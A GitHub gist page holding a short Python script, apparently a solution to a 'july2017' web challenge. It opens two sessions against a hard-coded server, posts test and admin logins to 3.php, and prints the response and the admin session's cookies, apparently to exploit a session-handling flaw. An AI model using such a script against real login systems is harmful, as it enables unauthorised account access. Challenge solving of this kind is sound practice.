Skip to content

Instantly share code, notes, and snippets.

@nazywam
Last active July 13, 2017 21:51
Show Gist options
  • Save nazywam/e33909c3a2525bcdf13c96a4818ca581 to your computer and use it in GitHub Desktop.
Save nazywam/e33909c3a2525bcdf13c96a4818ca581 to your computer and use it in GitHub Desktop.
Woops
from requests import Session
s1 = Session()
s2 = Session()
s1.get("http://172.104.131.19/july2017")
s2.get("http://172.104.131.19/july2017")
r1 = s1.post("http://172.104.131.19/july2017/3.php?", data={"login":"test", "password":"test"})
r2 = s2.post("http://172.104.131.19/july2017/3.php?", data={"login":"admin", "password":"admin"})
print(r1.text)
print(s2.cookies)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment